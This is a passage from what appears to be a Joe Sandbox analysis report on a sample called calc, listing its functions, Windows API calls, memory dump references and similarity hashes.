      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: ClearVariant
      • String ID:
      • API String ID: 1473721057-0
      • Opcode ID: 291f538a9b433d0a6d1e82d5f98e660a5483061f2c47a20ab654f08d6a09c4c0
      • Instruction ID: d2bd3d490d9ddfc467a21e27a978dfc4666dbaf1305854362b7c44e4a4fbedf9
      • Opcode Fuzzy Hash: 291f538a9b433d0a6d1e82d5f98e660a5483061f2c47a20ab654f08d6a09c4c0
      • Instruction Fuzzy Hash: 70016D314009128BEB306F16D881AEAB7E5AF50725F31482FF88186221EF6D9CC29A5D
      Function 004129C0 Relevance: 1.5, APIs: 1, Instructions: 33windowCOMMON
      Download Yara Rule
      APIs
      • CreateIcon.USER32(00000020,00000020,00000001,00000001,?,?), ref: 00412A12
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: CreateIcon
      • String ID:
      • API String ID: 3625662491-0
      • Opcode ID: 3275a5c83641fd64901501d8a465da21f4f6a3dcd75cd0197712b1158f272966
      • Instruction ID: 8f4eba20f0dd3c68f254ecd256194a12db5acd5393f4aab0f61f7e9ed3e12a4c
      • Opcode Fuzzy Hash: 3275a5c83641fd64901501d8a465da21f4f6a3dcd75cd0197712b1158f272966
      • Instruction Fuzzy Hash: 50F05471A40219BAEB21AA64DC46FDAB2ACBB08704F000476F605F21C1E6F46D548B98
      Function 00414E55 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
      Download Yara Rule
      APIs
      • GetFileAttributesW.KERNELBASE(?,00414BDE,?), ref: 00414E59
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: AttributesFile
      • String ID:
      • API String ID: 3188754299-0
      • Opcode ID: c703b52854d76aa319161c5b99ab3c341fa8d321b596a499fcd6fceaba77e700
      • Instruction ID: a7fd8ca27bb0810053334d820270db7b5587be9ae11b805182a5f761d4f63fd8
      • Opcode Fuzzy Hash: c703b52854d76aa319161c5b99ab3c341fa8d321b596a499fcd6fceaba77e700
      • Instruction Fuzzy Hash: 2AC09B34000F105DDE640E385A4D0DA375179C27A5FD41791D479451F2D3394C57F605
      Function 0043138D Relevance: 1.3, APIs: 1, Instructions: 24COMMON
      Download Yara Rule
      APIs
      • CoUninitialize.COMBASE(0045C6D0,00000000,?,0041F99E), ref: 004313CD
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: Uninitialize
      • String ID:
      • API String ID: 3861434553-0
      • Opcode ID: c0d1d7e33a4943827e01e4cfbbef932bc404c85381f4d3483751c997e5f8ecfc
      • Instruction ID: df3736b00b7e0be589f0f43ae73a18a9a167cadeb1283b1792a52ecf7f174830
      • Opcode Fuzzy Hash: c0d1d7e33a4943827e01e4cfbbef932bc404c85381f4d3483751c997e5f8ecfc
      • Instruction Fuzzy Hash: 3CE02B71281341DFD720AB709C544673B5ADB88305F185DBFD84687623EEB51886C71D
      Function 00413E1F Relevance: 1.3, APIs: 1, Instructions: 20COMMON
      Download Yara Rule
      APIs
      • CloseHandle.KERNEL32(?,00000000,00413C39,0045C6D0,0040FFF4,0045C6D0,?,?,004105B4,00000000,0047BD30,00000000,0045C6D0,00000000,00000000,0045C6D0), ref: 00413E2F
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: CloseHandle
      • String ID:
      • API String ID: 2962429428-0
      • Opcode ID: be02e6eaa8a4859ed9f43560e6826dffe5c54d5f09415862a29f698a9fcbb15b
      • Instruction ID: 8d68155d35ff6e49382bc72b4325340e3a7c1b0e2115fedd8b061b5066a75610
      • Opcode Fuzzy Hash: be02e6eaa8a4859ed9f43560e6826dffe5c54d5f09415862a29f698a9fcbb15b
      • Instruction Fuzzy Hash: D0E092B2406B81DF87209F9A95C0447FBE4BA0871A360883FE0DE82A01C378A4858E1A

      Non-executed Functions

      Function 004230D5 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 107fileCOMMON
      Download Yara Rule
      APIs
      • FindFirstFileW.KERNEL32(00000000,?,76228FB0,?,00000000), ref: 004230F3
      • FindNextFileW.KERNEL32(00000000,?), ref: 0042314B
      • FindClose.KERNEL32(00000000), ref: 00423156
      • FindFirstFileW.KERNEL32(*.*,?), ref: 0042317C
      • SetCurrentDirectoryW.KERNEL32(?), ref: 004231C9
      • SetCurrentDirectoryW.KERNEL32(004604D0), ref: 004231E7
      • FindNextFileW.KERNEL32(00000000,00000010), ref: 004231F1
      • FindClose.KERNEL32(00000000), ref: 004231FE
      Strings
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: Find$File$CloseCurrentDirectoryFirstNext
      • String ID: *.*
      • API String ID: 1688175871-438819550
      • Opcode ID: dfc8a14a01940d425b0f09de917f9ee571f79e67c6d34d5baa6881ff1d2ea7f7
      • Instruction ID: 29861fd0da0d17a13f764a0acb193fcdcc356ff7de37d4c9d30fbf1bb77053e7
      • Opcode Fuzzy Hash: dfc8a14a01940d425b0f09de917f9ee571f79e67c6d34d5baa6881ff1d2ea7f7
      • Instruction Fuzzy Hash: 5631A9316002297ADF209FA0BD49FFB37BCAF44316F540097F90492181EB7DDE159A18
      Function 0040A09F Relevance: 36.4, APIs: 24, Instructions: 439windowCOMMON
      Download Yara Rule
      APIs
      • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013,?,?,?), ref: 0040A134
      • GetWindowLongW.USER32(?,000000F0), ref: 0040A18B
      • SendMessageW.USER32(?,0000113F,00000000,?), ref: 0040A1D9
      • SendMessageW.USER32(?,00001102,00000002,?), ref: 0040A1EE
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: MessageSendWindow$Long
      • String ID:
      • API String ID: 3430364388-0
      • Opcode ID: 30ae90ada34b8915fe5d48397d56539aa5b534ff0d9fec3e80aeb03df8ee1511
      • Instruction ID: 1ccb3f83f87ebe80ca020bc58a8cdf7a85d923699afa6deb09b0e52051601b14
      • Opcode Fuzzy Hash: 30ae90ada34b8915fe5d48397d56539aa5b534ff0d9fec3e80aeb03df8ee1511
      • Instruction Fuzzy Hash: 4A028171504348ABEF21CF24CD85BE93BE0AF09354F28416AFD61AA2E2D378DC55DB49
      Function 00441086 Relevance: 35.3, APIs: 18, Strings: 2, Instructions: 348windowCOMMON
      Download Yara Rule
      APIs
      • GetCursorPos.USER32(?), ref: 004411F0
      • GetDesktopWindow.USER32 ref: 00441202
      • GetWindowRect.USER32(00000000), ref: 00441209
      • GetWindowLongW.USER32(?,000000F0), ref: 00441291
      • DestroyWindow.USER32(?), ref: 004412AD
      • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 004412E5
      • SendMessageW.USER32(00000000,00000432,00000000), ref: 00441302
      • SendMessageW.USER32(?,00000439,00000000), ref: 00441326
      • SendMessageW.USER32(?,00000421,?,?), ref: 00441339
      • SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 0044134C
      • IsWindowVisible.USER32(?), ref: 00441354
      • SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 0044136F
      • SendMessageW.USER32(?,00000411,00000001,00000000), ref: 00441382
      • GetWindowRect.USER32(?,?), ref: 00441398
      • CopyRect.USER32(?,?), ref: 0044140C
      • FreeLibrary.KERNEL32(?), ref: 0044144C
      • FreeLibrary.KERNEL32(?), ref: 00441457
      • SendMessageW.USER32(?,00000412,00000000,?), ref: 00441478
      Strings
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: MessageSendWindow$Rect$FreeLibrary$CopyCreateCursorDesktopDestroyLongVisible
      • String ID: tooltips_class32$#v
      • API String ID: 2784576490-694081394
      • Opcode ID: 43c6dc1a8b3db3df7b7c2940e1ab202c272af0dccaaacba1c09e653d6df8d75a
      • Instruction ID: 08c47ab1ab3467a4e06423d45bef535535d0a513bd421b0415e228815a64da0f
      • Opcode Fuzzy Hash: 43c6dc1a8b3db3df7b7c2940e1ab202c272af0dccaaacba1c09e653d6df8d75a
      • Instruction Fuzzy Hash: ACD17870600248EFEF14DF69C988A9A7BA4FF09350F14816AF919D7661D778ECC4CB98
      Function 0040B005 Relevance: 31.7, APIs: 12, Strings: 6, Instructions: 205windowlibraryCOMMON
      Download Yara Rule
      APIs
      • LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 0040B0B5
      • LoadLibraryExW.KERNEL32(?,00000000,00000032,?,?,?,00407B65,?,?,?), ref: 0040B0C7
      • LoadImageW.USER32(?,00000000,00000001,?,?,00000000), ref: 0040B0FD
      • LoadImageW.USER32(?,e{@,00000001,?,?,00000000), ref: 0040B11B
      • LoadImageW.USER32(00000000,e{@,00000001,?,?,00000000), ref: 0040B137
      • LoadImageW.USER32(?,00000000,00000001,?,?,00000000), ref: 0040B15E
      • FreeLibrary.KERNEL32(?), ref: 0040B16D
      • ExtractIconExW.SHELL32(?,e{@,00000000,?,00000001), ref: 0040B1B2
      • DestroyCursor.USER32(?), ref: 0040B1C0
      • SendMessageW.USER32(?,00000170,?,00000000), ref: 0040B1DF
      • SendMessageW.USER32(?,00000064,00000172,00000001), ref: 0040B1ED
      • MoveWindow.USER32(?,?,?,?,?,00000001,?,?,00407B65,?,?,?), ref: 0040B208
      Strings
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: Load$Image$LibraryMessageSend$CursorDestroyExtractFreeIconMoveWindow
      • String ID: .dll$.exe$.icl$e{@$e{@$#v
      • API String ID: 1851087544-273524977
      • Opcode ID: f0c011a4a81bb99b9a90fc530ef8540607cced80a587fd92c96e883503bbf4b5
      • Instruction ID: d209de9e82884b2b1933e4d2be4e6672a96570fc34edf142eca6f664b014f0a1
      • Opcode Fuzzy Hash: f0c011a4a81bb99b9a90fc530ef8540607cced80a587fd92c96e883503bbf4b5
      • Instruction Fuzzy Hash: 2C618D72840219BEDB119FA4DC819BF7BBCEF08741F10806BF911E6181D7799E95CB98
      Function 004530C8 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 117fileCOMMONLIBRARYCODE
      Download Yara Rule
      APIs
      • GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,00000000,00000000), ref: 0045314B
      • _strcat.LIBCMT ref: 0045315E
      • _strlen.LIBCMT ref: 0045316B
      • _strlen.LIBCMT ref: 0045317A
      • _strncpy.LIBCMT ref: 00453191
      • _strlen.LIBCMT ref: 0045319A
      • _strlen.LIBCMT ref: 004531A7
      • _strcat.LIBCMT ref: 004531C5
      • _strlen.LIBCMT ref: 0045320A
      • GetStdHandle.KERNEL32(000000F4,0045BF80,00000000,?,00000000,00000000,00000000,00000000), ref: 00453215
      • WriteFile.KERNEL32(00000000), ref: 0045321C
      Strings
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: _strlen$File_strcat$HandleModuleNameWrite_strncpy
      • String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
      • API String ID: 3601721357-4022980321
      • Opcode ID: cce6ef7323223f5c36d370e3365a6b8dfc54963e81cf1e794ab88ca9dee6c464
      • Instruction ID: a6262fdefab13baafbc7e32f5453cb19c54bbfc7fce803c14b00e12ad1906f00
      • Opcode Fuzzy Hash: cce6ef7323223f5c36d370e3365a6b8dfc54963e81cf1e794ab88ca9dee6c464
      • Instruction Fuzzy Hash: CC310E72500604AAE724EF759C96EAF7368EB04346F20491FF811D3143DA79E948DB5D
      Function 00456097 Relevance: 16.8, APIs: 11, Instructions: 309COMMON
      Download Yara Rule
      APIs
      • LCMapStringW.KERNEL32(00000000,00000100,00462758,00000001,00000000,00000000,0045C448,0000003C,00456CFA,?,00000100,00000000,00000001,?,00000003,?), ref: 004560BE
      • GetLastError.KERNEL32(?,?,00456071,?,00000000,00000000,?,00000000,?,?,0040EF80,?,00000000,00000001,?,00000000), ref: 004560D0
      • MultiByteToWideChar.KERNEL32(?,00000000,00000001,00000000,00000000,00000000,0045C448,0000003C,00456CFA,?,00000100,00000000,00000001,?,00000003,?), ref: 00456157
      • MultiByteToWideChar.KERNEL32(?,00000001,00000001,00000000,0040EF80,00000000,?,?,00456071,?,00000000,00000000,?,00000000), ref: 004561D8
      • LCMapStringW.KERNEL32(00000000,?,0040EF80,00000000,00000000,00000000,?,?,00456071,?,00000000,00000000,?,00000000), ref: 004561F2
      • LCMapStringW.KERNEL32(00000000,?,0040EF80,00000000,?,0040EF80,?,?,00456071,?,00000000,00000000,?,00000000), ref: 0045622D
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: String$ByteCharMultiWide$ErrorLast
      • String ID:
      • API String ID: 1775797328-0
      • Opcode ID: 873bb5e03c0175e596a4322a9bcbafd0df59306d79c68c6151f33ca9b8810949
      • Instruction ID: b2d8dc44d8ca8eb0f0711e217ba9cf18ae384d9cb4d0d13082bcb19e82ea283e
      • Opcode Fuzzy Hash: 873bb5e03c0175e596a4322a9bcbafd0df59306d79c68c6151f33ca9b8810949
      • Instruction Fuzzy Hash: 84B1AA7280021AEFDF119FA0CC858EF7BB5FB0831AF55422AF915A3262D3398D55DB58
      Function 0040205D Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 82windowCOMMON
      Download Yara Rule
      APIs
      • SendMessageW.USER32(?,00000186,00000002,00000000), ref: 004020ED
      • GetDlgCtrlID.USER32(00000000), ref: 004020FE
      • GetParent.USER32 ref: 00402110
      • SendMessageW.USER32(00000000,?,00000111,?), ref: 00402117
      • GetDlgCtrlID.USER32(00000000), ref: 0040211D
      • GetParent.USER32 ref: 00402133
      • SendMessageW.USER32(00000000,?,00000111,?), ref: 0040213A
      Strings
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: MessageSend$CtrlParent
      • String ID: ComboBox$ListBox
      • API String ID: 1383977212-1403004172
      • Opcode ID: 3983e01f07cdc23e322d383c5d11142c0d4e7b734c74ec4230ae8d4061f8d687
      • Instruction ID: 1ae3639546ccadbcf58f9fd73665429625f42c9a5e242655649765a7bb30241d
      • Opcode Fuzzy Hash: 3983e01f07cdc23e322d383c5d11142c0d4e7b734c74ec4230ae8d4061f8d687
      • Instruction Fuzzy Hash: 7121F871900318BBDF11AB69CC49BBE7BA8DF05311F1000A6F601BB1E2C6BD9D49DB69
      Function 00424006 Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 77COMMON
      Download Yara Rule
      APIs
      • SetErrorMode.KERNEL32(00000001), ref: 00424013
      • GetDriveTypeW.KERNEL32(00000000,00000000), ref: 0042405D
      Strings
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: DriveErrorModeType
      • String ID: CDROM$Fixed$Network$RAMDisk$Removable$Unknown
      • API String ID: 2651406809-706929342
      • Opcode ID: 08aff071bbe8387bd98da38cb827e2b383d3b77f2986837a44d38e406a4d18e4
      • Instruction ID: c236b00be81f74bb42f36345c47f50d6727ad15e36b1af1162972c05b99f5c91
      • Opcode Fuzzy Hash: 08aff071bbe8387bd98da38cb827e2b383d3b77f2986837a44d38e406a4d18e4
      • Instruction Fuzzy Hash: E921DE31704324EBC7206B65A845E5B3760EB80B15FA44157F706A72D1DA7CECC1864F
      Function 0041605B Relevance: 12.1, APIs: 8, Instructions: 92COMMON
      Download Yara Rule
      APIs
      • FindResourceW.KERNEL32(?,?,0000000E), ref: 004160AD
      • LoadResource.KERNEL32(?,00000000), ref: 004160B9
      • LockResource.KERNEL32(00000000), ref: 004160BC
      • FindResourceW.KERNEL32(?,?,00000003), ref: 004160E1
      • LoadResource.KERNEL32(?,00000000), ref: 004160EA
      • SizeofResource.KERNEL32(?,?), ref: 004160F5
      • LockResource.KERNEL32(00000000), ref: 00416101
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: Resource$FindLoadLock$Sizeof
      • String ID:
      • API String ID: 4215241788-0
      • Opcode ID: 2afbcbb99dc1360dcbc8960ad73a9b6ad2de71b7916da34e34b9c8847100ea38
      • Instruction ID: ad861e728714f87d0bd08c3f0af146d5d0e55425d81be2c55b6ca67d22e84554
      • Opcode Fuzzy Hash: 2afbcbb99dc1360dcbc8960ad73a9b6ad2de71b7916da34e34b9c8847100ea38
      • Instruction Fuzzy Hash: F7318B71800219AFEF10DFA0DD48AAF7BBAEB04305F004426F905A2261E375DE60DB69
